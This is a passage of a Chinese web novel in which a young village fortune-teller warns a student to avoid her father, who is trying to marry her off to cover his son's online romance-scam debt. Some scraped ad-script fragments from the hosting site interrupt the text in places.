两人到了学校,高数课一走神就跟不上,谢洲转了一下笔,悄悄靠近女友:“要不去问问你舅妈,我觉得她看你眼神好认真。” 而且,早上他随口质疑神婆,遛狗阿姨的表情也很那个,好像说你们凡人啥都不懂,有种信任,自豪,还有点儿优越感…… 谢洲不是说他迷信哈,但这种事,万一呢,那可是女朋友的血光之灾啊! 谢洲下课就催着女友给舅妈发消息:“骗子也不可能骗本地人,我们反正跟舅妈说一下,真不真的舅妈知道。” 言雯发了消息,与谢洲视线交汇,小声笑道:“这么担心我啊。” 她说着有点脸红,谢洲真想伸手捏捏,咳咳,他清清嗓子,认真说:“那当然,我最关心你。” 消息发出去,没多久舅妈回复:雯雯,你方便接电话不。 言雯走出教室打电话,舅妈那边正上班,简短叮嘱两句就挂了。言雯转过来看着谢洲,表情有点茫然:“叫我下了课直接回莲花村。” “……我也去!”谢洲立刻紧张起来。 下午第六节课结束,谢洲骑着电动带言雯回莲花村,没多久到了西花路口,谢洲突然示意言雯看左边:“我有点近视你看看那。” 言雯转头一看,上午见过的曲神婆骑着小电动拐入小巷,头也没回的消失了。 “是她。”言雯确认,又拉住谢洲,“别,先去找我舅妈。” “好吧好吧。”谢洲电动车堵在路口,等了几分钟,飞快跟上去。到了言雯舅妈家,敲开门就是水果烟酒摆一地。 “……舅妈。”言雯打量着地上的东西,有点疑惑,但没问。 她懂事又听话,王舅妈两个儿子比她大半轮,打小就很喜欢这外甥女。言雯那个爹对她不管不问的,算起来都是娘舅亲戚照顾得多。 这会言雯她舅和两个表哥都在外地打工,王舅妈只好自己操持,幸好言雯找了个不错的男朋友。 王舅妈:“谢洲也来了,来拎东西,雯雯你去洗个脸,快点。” 王舅妈脸圆圆的,身材健壮,拎着一大堆东西下了楼,楼下邻居都诧异:“你这是走亲戚呢。” 王舅妈大嗓门:“快别提了,我超市上着班,我外甥女说小神婆遇到她,跟她说她有血光之灾!哎呀我赶紧买了东西,现在过去。” 邻居:“那可耽搁不得,不过米秀她自己开超市的,你还超市买东西送……哎不对,今天石大爷要请小神婆啊。” 王舅妈:“啊?石大爷是有什么事。” 邻居:“你上班都不看群啊,就那个石三……”她巴拉巴拉说起来。 谢洲和言雯拎着东西在一边听,彼此都有些发愣。尤其这个看一眼就知道人家癌症晚期,好神奇。 王舅妈和邻居匆匆聊完,想了想,还是现在去,刚和袁阿婆打了电话,已经定好的,那还能让小神婆等? 到了曲欣家三层楼,米秀虽说不乐意女儿这小神婆的名声。莲花村本地人来看她倒也不能说拒绝。 上了楼,门是开 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着的,石大爷带着石三还有他一个儿子在里边说话。袁阿婆听到动静过来,开口就小声说:“哎呀讲了不要买嘛。” “你看你,你送他也送,大家都送的根本用不完,米秀看了也不开心,我们欣欣攒功德,不用你送这个!” 王舅妈笑容满面,一把拉住阿婆的手:“好,好,下次不送了。” 她亲昵的靠近袁阿婆,探头往里望,石三往日可是不着四六得很,离了婚怨气冲天,喝了酒就到处跟人讲米神婆也有看不准。 怎么看不准呢?这不一眼就看出他得了癌症。 王舅妈昨晚睡得早,今天超市早班也没怎么看群,刚只知道个大概,这打眼一看,可谓大吃一惊。 无他,石三整个人像被抽了魂,那脸色奇差无比,黄得人一看都知道不对劲。脸上汗跟流油似的,石大爷说着话,他在旁边憨子一样。 哎呀,那肯定很严重啊,整个精气神都塌掉了。 幸好她家雯雯是血光之灾,能避开的! 袁阿婆让王舅妈带着两个小的进了屋,曲超客气的请他们坐。石大爷还在说话:“……让他给米神婆道歉!阿秀那里也去道歉。” “唉,他就是个二傻子,人都懵掉了。我真是骂他百句不嫌多,这人他爸走了就不学好,我也没把他教好,惭愧啊!他爸能干,又热心肠,为着救人走的,只有这一跟独苗……” 石大爷也快七十的人了,短发灰白,眼睛深深的陷下去,说话气都不怎么顺。说着说着,石三噗通一声跪下来,曲超大惊,连忙去扶。 石大爷愣了一下,简直没脸看,他儿子也去扶,石三却怎么都不起。 王舅妈深深鄙视,这是做啥,正帮你好好说,你一个长辈在这跪着,又不是什么可避免的天灾人祸,这人自身疾病,神婆也没法治啊! 石三还赖在地上嚎,做进丑态,求曲欣想想办法。 曲欣有什么办法,她只是装得比较同情,做个扶他的姿态:“石三叔叔,你后天就能有确定结果。” 明明声音不大,但语气里有种‘只会如此’的笃定。石三还想哀求打滚,看到曲欣的眼睛,突然就安静下来。 石三哆嗦着说:“以前米神婆……也有人得了癌,米神婆让她去找有个医生,后来也治好了……” 曲欣声音很遗憾:“石三叔叔,她那个乳腺癌本来就治愈率高,我外婆只是给她避免走弯路,你的这个癌症……” 她摇摇头:“我现在看得也不远,没有办法。” 袁阿婆在一边搭腔:“对啊,米神婆也只是给指个方向!生病了还是要看医生,医生怎么说,你就怎么治,要相信医生。” 石三眼睛又一亮:“那你告诉我,我去哪里治能好,我去首都,我去x市,你告诉我哪里能治我就去哪里!” 他那副癫狂又虚弱的姿态,把角落里谢洲言雯看得一愣一愣的。 曲欣不肯给准话,对方这次也没有准话。她很有耐心的说:“石三叔,我真的看不到。” 胰腺癌,结果出来也是晚期,对方时间真的不多了。 13. 血光之灾 石大爷叹着气,带着儿子和失魂落魄的石三走了。 本来想问问孩子的事,但石三显然更关心自己的病。 也是,能活着谁想死呢,石大爷也有点愧疚,他是看小神婆那语气,感觉石三这次真的不太好……想着至少给弟弟留个后。 但对石三来说,左右还是自己活着更重要! 石大爷是个体面人,人走了东西都留下,说是赔礼。 曲超有点难办,米秀回来又要生气,可能她不会表现出来……她就是对女儿当神婆这事很抗拒。 偏偏走了石大爷,还有个王舅妈,都是一个村的老邻里。她已经拉着外甥女的手迎上来:“小神婆!” “上午您是说我们言雯有血光之灾,我听到消息,下班就过来了,我们改命,一定要改,您给看看?” 她语气很郑重,不管小神婆现在多大,就把她当米神婆敬着! 曲欣喝了口水,转过头,脸上就是一种亲切又有距离感的微笑。她发现还是保持一定距离比较好,像她外婆那样,要威严,神棍一点。 “好。”曲欣对言雯说,“我再仔细看看你。” 谢洲摇了摇言雯的手,进门围观这一遭,他有点被这氛围唬住了。 言雯安抚的看他一眼,咬着下唇站起来,曲欣对她笑了笑,说:“别紧张,我看到了,没事的。” 王舅妈宽厚的手掌拍拍外甥女的背,推着她过来。 曲欣认真看言雯半天,心里有数,想了想,对她和王舅妈说:“最近一周都别回家,我是指她直系血亲的家,尤其是周末。” 王舅妈脸色一变:“是她那个爹在搞名堂?” 王舅妈想起言雯她爸就生气,看着挺体面的一个人,还是小学的副校长,言雯出生不久就出轨找了小三,后来又有小四——那会是教导主任。 言雯她妈到女儿小学才发现这事,气得小产,这不要脸的东西,没多久就和言雯她妈离婚,转头娶了小三,儿子只比言雯小两岁! 言雯她妈也是个不中用的,家里那么多堂兄弟,她屁都不放一个,离婚就算了,女儿还留给那不要脸的。这有了后妈就有后爸,那男的平时难道对女儿好吗? 再不济把女儿带回来,哪怕娘家里一人给口饭吃,也比跟着后爸好啊! 更恼火的是,她在娘家和老人哭了没两天,转头就去男人家里跳了楼,真是气死人啊,怎么这么没出息! 害得老人伤心又冒火,憋屈十来年,想不清娘家哪里留不住她,非要为个男人寻死? 她女儿在小三后爸手里过得什么窝囊日子,小学还活泼爱笑,尤其爱唱歌,长大到现在呢,人内向,有苦只知道自己咽。 这还是言雯她舅时时去探望,给她带吃的喝的用的,她这个舅妈真心疼她,给她买裙子买内衣,告诉她月经来了怎么用卫生巾。 时不时年节接到家里,和老人这边一大家子热闹过节。就这样,言雯也眼瞅着越来越文静,乖巧得惹人疼。 ……幸好还知道给自己找个不错的男朋友,家教好,性格一眼望到底,也不怕有坏心思。 说实话,王舅妈是对言雯她爸那种文质彬彬搞冷暴力的恨透了,外甥女这个男朋友就不错,有话说话,开朗热情。 对言雯也好,他妈还和言雯视频过,对言雯非常满意! 眼瞅着一切都往好里走,她这个爸又冒出来,还搞出血光之灾。王舅妈心里那股火,真是一点就炸,怎么忍都忍不住。 这会就听小神婆说:“言雯是被波及,严重可能瘫痪,别回去就行,等事情结束,以后都挺顺心。” 居然可能瘫痪!幸好,幸好有小神婆,王舅妈和言雯对视一眼,安抚的环住她,听到后边,脸上倒是由阴转晴。 ‘以后都顺心’,米神婆以前也这么说过,那可是很难得。 得夫妻子女和睦,没什么大病绝症,不会突然破产丢财,顶多一点小波折,平安顺遂到老。 她慈爱的看外甥女一眼,心想老天算做了回好事。小神婆开了天眼,近的精细的看不了太多,大概的命数还是能看,这个她懂! 王舅妈脸上堆满笑,把谢洲也拽过来,两人手摁到一起:“那就好,那就好,您看看这两孩子是不是准的?” 言雯手和谢洲握在一起,有点害羞,眼睛却隐含期待的望过来。 曲欣微笑,点了一下头:“天定良缘。” 王舅妈顿时大喜,谢洲一脸懵逼,他还在想‘瘫痪’这事,天定良缘这句把他唤醒,嘿嘿,哈哈,虽然有点迷信,听着怪动人。 他跟着笑开来,晃了晃言雯的手,转头去看她,却见言雯也深深的望过来,眼神里蕴含着太多东西,让他心中一震。 就好像那个,一眼万年的感觉,仿佛她已对他交付了全部信赖。 谢洲心中颤动,言雯对他轻轻一笑,也摇摇他的手。 谢洲发誓,他发誓他会对言雯一辈子好!绝不让她受委屈!他知道一点她爸妈的事,他肯定不会像她渣爹,他要做24孝好男人! 小神婆能说的不多,王舅妈也不问,问了徒增烦恼。以前米神婆那会也一样,透露的不多,但改变的可是你一生的命运。 王舅妈给了红包,特地找的过年时拿回来的连号新钞,笑容满面,把带来的礼物也留下了,说等事情结束再来拜访。 曲欣点点头,王舅妈带着年轻的小儿女到门口,自己又折返,悄悄问曲欣:“小神婆,我外甥女她爸是不是要倒大霉。” 她听小神婆那意思,雯雯是被波及,不回去就能躲过…… 先以为是那小三后爸又作妖,找雯雯麻烦,但小神婆又说‘等事情结束’,以后都顺心…… 怎么听着是她爸要倒霉,血光之灾不止是雯雯吧。 曲欣想了想,小声回复:“我看到是自作孽不可活,恶有恶报。” “……”王舅妈按捺不住冒出个笑,又忍住了,连连点头:“我懂我懂,别人的因果我们不管,我会看好雯雯的。” 旁边袁阿婆精神矍铄,乐呵呵道:“反正你听欣,听小神婆的就对了。” 王舅妈心情很好的带着外甥女和 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她男友走了,下楼就掏出手机,满面红光对言雯道:“没事了,我给你舅打电话,你俩玩去吧。” 言雯和谢洲手拉手,对视一眼,谢洲说:“最近还是不出门吧,就在家里待着。” 王舅妈笑眯眯道:“那也行,雯雯,你爸要找你,你别理他,我跟他讲!” 话音刚落,言雯手机就响起来,她摸出手机一看,打电话的正是她爸。 王舅妈脸上一黑,谢洲也有点嘀咕,言雯面色平静的熄频,对舅妈笑道:“没事,我不接,舅妈你忙你的。” 她爸一年能给她打一个电话都算多的,反正有微信,看看他什么说法。 电话那头锲而不舍,隔了一会又打过来,三人上了楼,王舅妈脸色很不好,想和言雯她舅唠嗑的心都淡了。 王舅妈道:“你接吧,我看看他什么好事找你。” 上次这么打过来还是高三那会,言雯那个小两岁的弟弟和他同学对言雯说些不三不四的话,王舅妈带着儿子上门闹了一顿,扬言要告去学校。 闹完她把言雯东西都拉走,人也接走,十几岁的姑娘了,属于她的东西那么一丁点,气得她在外打工的舅舅要请假赶回来。 当时她那个爹就一直打她电话,叫她别让王舅妈闹去学校,影响不好。 啊呸,要不是为了言雯,什么影响不好,要的就是影响他那不像话的儿子! 怎么会有这样的爹,教出来这样的儿子,带着同学堵自己姐姐开黄腔。 王舅妈越想越气,言雯轻轻靠过来,拉着她的手:“舅妈,不气。” 言雯早对她爸失望了,高三从那个‘家’搬出来,其实她很高兴。不幸是有这样坏的爸爸,幸运是有这样好的舅舅舅妈。 手机又震动了一下,言雯打开微信,她爸说:明天回家一趟 言雯无奈的笑了一下,真被小神婆说准了。她给舅妈看了看,回复说:有什么事。 她爸:你回来就知道了 言雯:那我不回了,好事轮不到我 对方正在输入,又停住,片刻发来语音:“雯雯,爸爸平时对你关心少,但爸爸其实一直惦记着你。前一阵你生日,家里出了点事,也没有好好给你庆祝。” 语音放完,下边又发来一条,谢洲不忿:“哇,他连你生日都忘了,现在好意思这么讲。” 言雯点开下一条:“最近你晁阿姨也有空,想着大家给你生日庆祝一下,你弟弟也长大了,说很想你,你别那么抗拒,好吗?” 他声音不急不慢,语气很有说服力,内容就完全不是那么回事。 他真的不知道他老婆儿子和言雯的矛盾吗?他忘了他老婆对言雯冷嘲热讽使绊子,忘了言雯搬走是因为他儿子对姐姐开黄腔吗? 他前两条微信还是吩咐式的,根本不愿花心思修饰的态度。言雯不配合,马上就打起感情牌,这牌也敷衍得让人发笑。 他对言雯如此应付,假得不能再假的语音还要臆想他老婆儿子都是关心女儿的大好人。 真的太虚伪了,言雯心想,让人想吐。 14. 血光之灾 王舅妈气得冒烟,抢过手机大骂:“姓言的,你少给我瞎扯淡,你什么鬼德行我不知道,有好事你会找雯雯?以前也没看你关心她,我x你xx我警告你……” 王舅妈大骂一通,语音时间不够了,她又发一条,谢洲忍着笑和言雯眼神交流。王舅妈拿着言雯手机去隔壁房间开骂。 以前还想着毕竟是父女,要顾忌雯雯心情。现在瘫痪的事都闹上了,谁知道他在搞什么鬼! 谢洲跟去门口听,言雯她爸不愧是老师,现在据说是副校长了,被骂三四条,发过来语音仍不慌不忙,只说让雯雯接电话。 谢洲听着听着,皱起眉,冷不丁说:“他是不是癌症了,要你给他捐器官什么的。” 他与言雯目光对上,不高兴道:“不然他平时不找你,突然这么,这么……” “锲而不舍。”谢洲想出一个词,凝重道:“被骂了也不当回事,感觉好像只要抓着你就万事大吉。” 言雯也有相同想法,她这个爸爸平时待人接物都很有耐心,很和气,可这种态度从没对言雯表现过。 “无事献殷勤,非奸即盗。”谢洲说。 王舅妈把人骂走,没再发消息过来。谢洲将自己猜测说了,王舅妈一下子黑脸,拉住言雯:“雯雯你可别搭理他!管他去死!” 言雯勉强笑道:“舅妈我不会的。” 王舅妈连连说好,转头道:“谢洲啊,这几天你都帮雯雯看着点。小神婆说不能回去,他就是打电话来说他死了也别进门!” 谢洲连连点头,决定最近都和雯雯形影不离,走到哪跟到哪。 晚上谢洲留在言雯家,带了电脑教言雯玩游戏,没多久,言雯电话又响,言雯看一眼,手机静音,没接。 谢洲看她一眼:“又是你爸?” 言雯冷漠道:“嗯。” 谢洲拿过来拉黑了,两人继续玩游戏,言雯学得认真,谢洲教得特别有成就感。哎他就喜欢言雯乖乖听他说话,愿意去了解他,参与他生活的样子。 两个人哪怕随便说句话都觉得甜蜜蜜,言雯真好! 第二天周四,上午四节课满课,下午两节课。两人现在走到哪都手牵手,班上同学看了起哄,谢洲得意洋洋。 下了课谢洲就小电动带着言雯回了莲花村。 本来之前还想去看一部新出的电影,闹了这个事,一应活动暂停!谢洲觉得曲小神婆确实不一般,还是家里待着吧。 到家没多久,言雯做她的网络兼职,谢洲在旁边玩游戏,时不时聊个天。 正开心呢,言雯手机响了,打开一看,辅导员的电话。 谢洲和言雯对视一眼,辅导员说:“言雯你现在在哪?你爸妈来学校,想接你去吃饭,打不通你电话呢。” 言雯咬住下唇,胸口起伏,谢洲要开口,她拦住,声音很冷静道:“谢谢老师,麻烦你开一下免提。” 言雯等了两秒,强忍着情绪道:“老师,我把他拉黑了,他自己知道是为什么。他有我微信,提前问一句也知道我今天□□节没课。” “他老婆也不是我妈,我高三搬出来过年都没回去,老师你不用管他,打扰你了不好意思。” “……”辅导员顿了顿,笑道:“好的好的,没事你忙吧。” 电话那头,辅导员一脸抱歉:“家长你看……” 言雯她爸还很有风度,一脸愧疚解释道:“小孩子闹脾气,我也是联系不上她,怕她出什么事,想着一起吃个饭,给她道个歉。” “打扰老师了,实在不好意思。” 言雯她爸带着他笑容勉强的老婆走了,辅导员根本不放在心上,你说小孩子闹脾气就闹脾气吧。 这边谢洲对言雯她爸的警惕爆到顶端,万分肯定绝对不是什么好事! 谢洲:“或者是你弟弟出事了?要捐骨髓什么的。” 言雯摇摇头:“捐骨髓也不是一周就能避免。” 谢洲很不爽,没多久言雯她爸微信打视频过来,言雯挂断,打字回复道:有什么事直说,视频就不用了 言雯她爸又发来长长语音,很绿茶那种,什么知道她受委屈了,最近家里赚了点钱,她晁阿姨也想开了,想补偿她,愿意给她付首付买个房子云云。 这可是大手笔,言雯和谢洲对视一眼,更怀疑了。 她爸还是那副温良口气:“以前家里是有点紧张,现在手头宽裕了,想着女孩子还是要有套自己的房子,爸爸知道委屈了你,也有心想补偿你。” “你不要躲着爸爸,愿意的话,明天爸爸带你去看房子,可以……” 谢洲听不下去了,好虚伪啊,前面还不管不问,连生日都没个电话,突然就痛心疾首,只想做个好爸爸。 言雯回复:最近忙,见面等下周吧。 不管他什么招,反正小神婆说下周事情就结束了。 言雯她爸又是一个语音电话打过来,言雯接通,那边停顿两秒,仍然是言辞诚恳的车轱辘话:“你忙爸爸来找你吧,一家人好好吃顿饭……” 言雯直接挂断,把他微信也拉黑了,鬼扯的一家人。 周五,谢洲带着言雯去上课,看到路边一辆车都要疑神疑鬼。好不容易上午过完,他俩去校外吃了小炒,一人买个冰淇淋逛回教学楼。 刚进西校门,就有同学给谢洲通风报信:谢洲谢洲,你老婆的渣爸好像真的来了,还带了她弟弟,我偷偷拍一张你看看 群里班长:我昨天见过,就是他,谢洲要不你请假跑路吧 谢洲另一个朋友:我帮你们请假,老谢快跑! 昨晚谢洲把这事跟朋友说了,大家都觉得来者不善,非常可疑!真要父女情深,怎么平时连个电话也想不起来。 大家集思广益,什么公司背债,法人替死鬼,噶腰子都出来了。 谢洲也有点毛毛的,这到底啥事啊,这么殷勤反复的找上门。 左思右想,言雯拍板:“请假吧,我有老师微信,我和她好好说一下。” 反正她一点也不想和对方见面,嘴里没一句真话,她可不想瘫痪下辈子!有什么事过了这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 周再说。 谢洲想了想:“那我带你回我老家旅游?我家里自然风光可美了。现在就走,周一早上高铁回。” 于是言雯她爸这次堵门又无功而返,坐到车里,脸色也有点发青,他儿子还不耐烦:“又跑了?她属兔子吗跑那么快,神经病啊!” 他妈看了言爸一眼,呵斥:“你闭嘴!还不是你惹的祸!” 言伟闻言悻悻,嘀咕道:“我哪知道……” “你不知道?你不知道花了人家三百万?”言父突然开口,语气仍慢慢的,眼神却冰冷,“三百多万,你买个房子我都不说你,你留一半,人家找上门,我凑一凑也能帮你还。” “你倒好,一年不到全花光了,买的什么鞋子车子,车也撞坏了。你告诉我,你是不想想坐牢,人家说不还钱就要砍你,你是不是想被砍?” 言父斯文的脸上抽搐了一下,恨不得再把儿子打一顿。 他都没想到他这不成器的儿子,高中才刚毕业,扮女人能骗人家三百万!骗了就骗了,被人找上门,钱还花得只剩几千! 他是不是以为人家就是个有求必应的聚宝盆,是个傻子,是个他游戏里那种到期会自动消失的npc? 他有没有脑子,还说要考公,不想当教师,他这么个脑子,骗了人家三百万……三百万! 言父强忍住情绪,厉声呵斥:“你给我省点心,给我安抚好那个人,周末一定要见面,不行先给照片!” 他老婆忍不住道:“给了照片,言雯要是不愿意呢?” 言父冷漠道:“那你还能找谁?你现在去个婚恋机构,找个年轻漂亮愿意和人结婚,但可以不用你儿子还钱的冤大头,你去找一个。” 他冷冰冰扫视自己的妻儿,警告道:“最好的结果是把人哄住了,这钱还上一半,花的那一半就当彩礼。” “最坏的结果是家里名声扫地,言伟去坐牢!” 他怒不可遏:“人家发现你是骗子的时候哪怕你跟他好好说,宽宥几年,我也豁出去帮你借钱,暂时还上一半。你呢,你把人家气得说要砍你!” “你是脑子有坑,你神经,你个白痴你要害死我!” 言父终于忍不住咆哮,他一个小学副校长,体面人,怎么会生出这种东西。 骗就骗了,蠢得猪狗不如!以为把头伸进沙子人家就找不到他屁股? 人家是真正的精神病,有诊断证明,一年要去精神病院好几次,大半积蓄都被这祸害骗走花光,已经找到家里地址,就在宾馆等着答复! 他能怎么办,真等着人家上门砍人,到时闹出来,他脸还要不要了! 言父喘着粗气,手指指言伟:“你要庆幸你还有个漂亮姐姐,现在是你求她,求她愿意和一个神经病结婚,填了你那三百万。” “我话说到这里,你自己去跟人家谈,谈不好你就坐牢去吧,我也救不了你。” 言伟不敢吭声,偷偷看他妈一眼,他妈也不敢说话。 车里死一般的寂静,言父猛地将打火机砸了出去。 15. 血光之灾 王舅妈和言雯舅舅打着电话回莲花村,说一些家里的闲事。 “今天在超市买了两盒打折的牛肉,还有新鲜的青虾仁,哎,可惜雯雯和谢洲旅游去了,去的谢洲老家。” “对,我也觉得这主意不错,你看那姓言的都找去学校两回了……哈哈,谢洲他爷爷奶奶很高兴,咱们雯雯一去就特别热情!” 王舅妈笑容满面,颇为自得:“谢洲那个朋友圈,满满一桌子!他奶奶都返聘了,下午硬是请假,叫人把家里搞了大扫除。” “那是,咱们雯雯,又乖巧,又懂事,长得还那么好看,两人天定良缘嘞。” “你懂,你懂啥,哈哈我和你也是啊,那也行咯,我和你是良缘……” 王舅妈心情愉快,直到楼下歇凉的老邻居看到她就往旁边使眼色。王舅妈匆匆挂了电话,脑袋往前伸,言雯她爸那一家子正在楼梯口等她。 晦气!这都什么毛病,十多年没见他来过,还带着他的小三老婆! 王舅妈心情大坏,粗声粗气道:“姓言的,你到底什么事,找去学校两回,还跑我这里来了。你是把雯雯称斤卖了还是咋,你给我说清楚!” 说着王舅妈开始给楼下邻里解释:“……平时对雯雯没点关心,生日也不说打个电话,这大学学费一毛钱没有,突然找上门要给付什么首付!” “你们说吓人不吓人,电话微信打遍了,连着两天去学校,现在还……别动手动脚!我声音大怎么了,我站得正,不怕影子斜!” 言父脸色不太好看,露出笑容,温和道:“嫂子你误会了,我来也是想给雯雯道个歉,前不久检查出身体不好……” 王舅妈:“果然没好事,要捐肝捐肺找你儿子!” 言父忙道:“不是,没那回事,我是生了点病,躺在床上想起儿女,这一辈子过去总要给他们留点东西,我也不想雯雯和我就这么生分了!” 言父好话说尽,又称病示弱,王舅妈可不信他,反正雯雯人不在,她跟这玩意废话个什么劲。 再看他老婆儿子,站在一边避开眼神,当自己不存在呢。 不存在了那还来干啥,肯定是有问题啊! 幸好有小神婆,不然雯雯可能怕他烦到自己就跟着回去了。 王舅妈二话不说,推开言父往上走,大嗓门道:“我懒得搭理你,停,你不用跟上来,雯雯和她男朋友旅游去了,不在!” 言父那小三老婆一听急了:“什么时候交男朋友了,怎么能这样!” 王舅妈转过头,站在楼梯上居高临下:“我家雯雯正经大学生,找个男朋友关你小三上位的什么事!” 言父也一惊:“怎么就旅游去了,去的哪里?” 王舅妈提着牛肉虾仁一甩:“管你们屁事!” 她上楼了,言父一家脸色难看,还是跟了上去。王舅妈打开门,忙堵在门口:“干什么干什么,要闯我屋子,我报警了啊。” 言父深深呼吸,好声好气道:“我只是想找雯雯说句话。” 本以为打个电话就能把人叫回来,要说服她见面可能有点难。没想到事情直接卡在第一步,来来回回三天了,连面都没见上! 原本还算镇定的言父有些不详的预感,他可能高估了言雯对他的感情。 早知道,哎,早知道也给她点关心,现在怎么办? 王舅妈嗤笑一声:“说了雯雯不在,我给你看她朋友圈好了。” 她还真打开微信,到言父面前晃了一眼,马上收回手机,鄙视道:“我家雯雯见公婆去了,你想找她说话,下周吧。” 最好下周这一家三口都倒大霉,诶,不能瘫痪,瘫痪了给雯雯惹麻烦,死了最好! 此时王舅妈还不知道她这嘴给小神婆开了光。 她把门打开一条缝,人飞快地挤进去,砰的一声甩上门。 言伟顿时急了,看着言父的脸扭曲道:“那我现在怎么办!” 他闯了祸,全指望他爸给他想办法,事情不顺利,马上生起气来。 可惜这回他爸懒得理他,只对老婆伸出手:“把手机给我。”又给言雯打了个电话,仍然是未接。 把儿子全新的手机也抢过来,打过去还是没接。 言雯没拉黑他俩,但是未知电话一概不接。 言父站在原地,他老婆小心的看着他:“老公,我们怎么办?” 言伟急得要跳起来,想说话,他妈看他一眼。 言父闷头转身,自己往楼下走,他老婆连忙冲儿子招招手,满面愁绪,走出楼道时挤出一个笑容,其实根本没人看她。 言父埋头走得飞快,心里思绪翻涌,他觉得可能要做好最坏的打算……这儿子没指望了,蠢得像猪,猪狗不如。 家里房子哪套都不能卖,股票也不能动,他不可能给他还三百万!查过这个数额可能要坐牢十年,儿子已经成年,他没那个偿还的义务。 可有部分钱是他未成年时骗的,不行,他得找个律师问问。 言父做好心理准备,上了车,又心怀侥幸,转头对儿子道:“你跟他说吧,就说……”他话一开口,又顿住。 言伟连忙掏出手机,点开那个app:“说什么?” 他眼睛看着言父,长相其实挺端正,人高高大大,以往看着多优秀的孩子,成绩也不算太差。 他到底怎么想的,骗人家三百万还花个精光,他是不是傻。 言父无力的靠在椅背上,心里知道这是被他惯出来的傻儿子,以为什么事都有他这做爸爸的能搞定。 他只是个小学副校长,头上校长仅比他大三岁,近十年他是上不了位。 退一步就算他当了小学校长,搞到三百万,这可是三百万啊…… 言父乏力的挥了一下手:“随便你怎么说,稳住他。” 他老婆坐在副驾驶,隐隐看出什么,不安的抓住他的手:“老公,你得想想办法啊老公,儿子不能坐牢啊。” 言父冷漠道:“我知道,我再想办法。” 一家人坐在车里,言伟看看他爸,又看看他妈,心里好像被冰块冻住,总算又后悔起来,早知道,早知道他就不在网上炫耀了。 怎么会花了那么多……开车撞到人家店的时候,还在得意随随便便就能赔了钱,什么麻烦都没有。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >都是因为有了钱! 高考也考得糟糕,考前一个月他还在考驾照,因为成年了什么都可以玩了特别开心,别人一捧他,钱流水般花出去。 早知道不买车了,那车花了他一百多万,开了没多久就报废,还有网上打赏的那些,对了有一部分当时他没成年,这个可不可以退? 言伟看了自己爸爸一眼,心想过了快一年了能退吗? 如果偷偷要回来他就不花了,等这事解决他一定好好攒钱…… 言伟心烦意乱,打开app,聊天栏对方发了一堆血腥猫狗图,还发了他家小区的照片,说:我来找你了,出来! 言伟根本不知道自己随便拍的照片会被人家找上门,他会不会一个一个敲门问? 敲门问也没什么,言伟自我安慰,对方不知道他是男的,还在问他要真正的照片。 言伟舔了舔唇,想到什么,打开微信言雯的朋友圈,居然被屏蔽了! 言伟只想大骂,婊子!臭婊子,居然敢屏蔽他,去死吧竟然出门旅游,什么鬼扯的见公婆,贱女人贱女人贱女人! 他又恨那个神经病,明明是对方瞎眼以为他是女的,钱都是自愿给的,凭什么说他骗了他,凭什么找上门。 言伟烦躁又畏惧,强忍着回复:我真的考虑了好久,我不知道该不该发我的照片,我发了你会找到我吗? 他说:我没骗你,我现在很害怕被我爸妈知道,你能不能先回去? 可爱的Q版草莓女孩:我给你发我的照片,你回去我们慢慢聊好嘛[可爱] 对方没回复。聊天记录上仍是一堆疯言疯语和血腥图。 言伟焦虑的打开微信,翻到他朋友发给他的一张言雯的照片。那还是言雯高中时候,穿着校服,手机抓拍不太清晰,但是人很漂亮。 这张行不行?如果他根据这张找到言雯怎么办。 万一他要自拍照呢? 现在言伟只能顺着他,这神经病一口咬定周末必须见面,还要见他父母,不然就报警。言伟一直推脱他爸出差,他妈乳腺癌复发,‘她’在医院照顾。 言伟还发了医院病房的照片,下一秒就撤回了。 以前对方很好说话,他讲什么都信,现在言伟说的他都怀疑,一言不合就要砍死他然后殉情自杀。 现实里居然真的有精神病,精神病为什么砍人不犯法! 最好让他突然发疯,砍死人抓到牢里就好了。 枪毙,枪毙! 言伟觉得他自己也快要疯了。 言伟想把手机扔出去,想大吼大叫,但最终他还是把言雯照片保存了,点开犹豫一会,涂掉衣服胸口的学校名字。 言伟把照片发出去,感觉眼泪要冒出来,他好痛苦。 突然对方上线:这是什么高中,这是你? 他说:我不信,为什么发高中照片,你不是说你大二了 他很肯定的说:你又在骗我,你又骗我!这个照片肯定也是假的,你去死吧,你去死! 我要砍死你,砍死你全家,我要硫酸泼死你,我要开车撞死你,你等着,我不活了我要死了,我要砍死你! 16. 血光之灾 言伟感觉很恐怖,很愤怒,但他无能为力。 他只能苍白的辩解:真的是我,是我高中的时候,我好几天没睡了,不想给你看见 他费尽脑筋,又说:这就是和你聊天那会的照片,别人拍的我 言伟可能还是有点才华,又说自己高中其实很自卑,因为前桌家里特别有钱,老是请她客,她家里又管得严,没办法请回去,是对方给她转钱她才挺起胸膛。 言伟:我知道我太虚荣了,我真的没见过那么多钱,你说送给我花,我从没见过像你那么对我好的人,其实我真的很感激! 对方:你妈乳腺癌两年多,还没死吗? 言伟愤怒的踢了一脚小区的垃圾桶,他妈转过头,不认同的让他快过来。 对方:不是一直住院,反反复复,骨转移,肺转移 对方:过一会是不是该死了,然后说你没有妈妈了,希望我安慰你 言伟一言不发的跟上爸妈,进了电梯,刚要关门,又进来一个人,言伟不耐烦的戳关门键。 对方:不对,还是不死比较好,活着还能更惨点,想办法买神药被骗钱,爸爸为了妈妈的病累晕倒,爸爸也得了癌症,太惨了 对方:你有癌症吗? 言伟受不了了,愤怒大吼:“啊——!” 他妈看了眼旁边玩手机的人,拍言伟一下:“你别闹了。” 言伟面目扭曲,转头道:“我们不能去把言雯抓回来?” 他妈眼神示意他:“你闭嘴。” 言父在一边面无表情,言伟不管不顾说:“我受不了了,言雯必须帮我,那就是个神经病,不然,不然……” 他眼神祈求的望着言父,想说爸你帮我把钱还了吧? 原本算盘打得很好,先骗言雯顶上,等拿了结婚证她发现不对又能怎样,反正那个神经病有钱。有钱不就够了? 可言雯翅膀硬了,以前爸爸说什么她都默默听着,现在她根本就……早知道高三不把她赶出去,他妈尽出瞎主意! 如果他们关系还行,至少能让言雯假装他,这样就不是骗钱,只是情感纠纷。 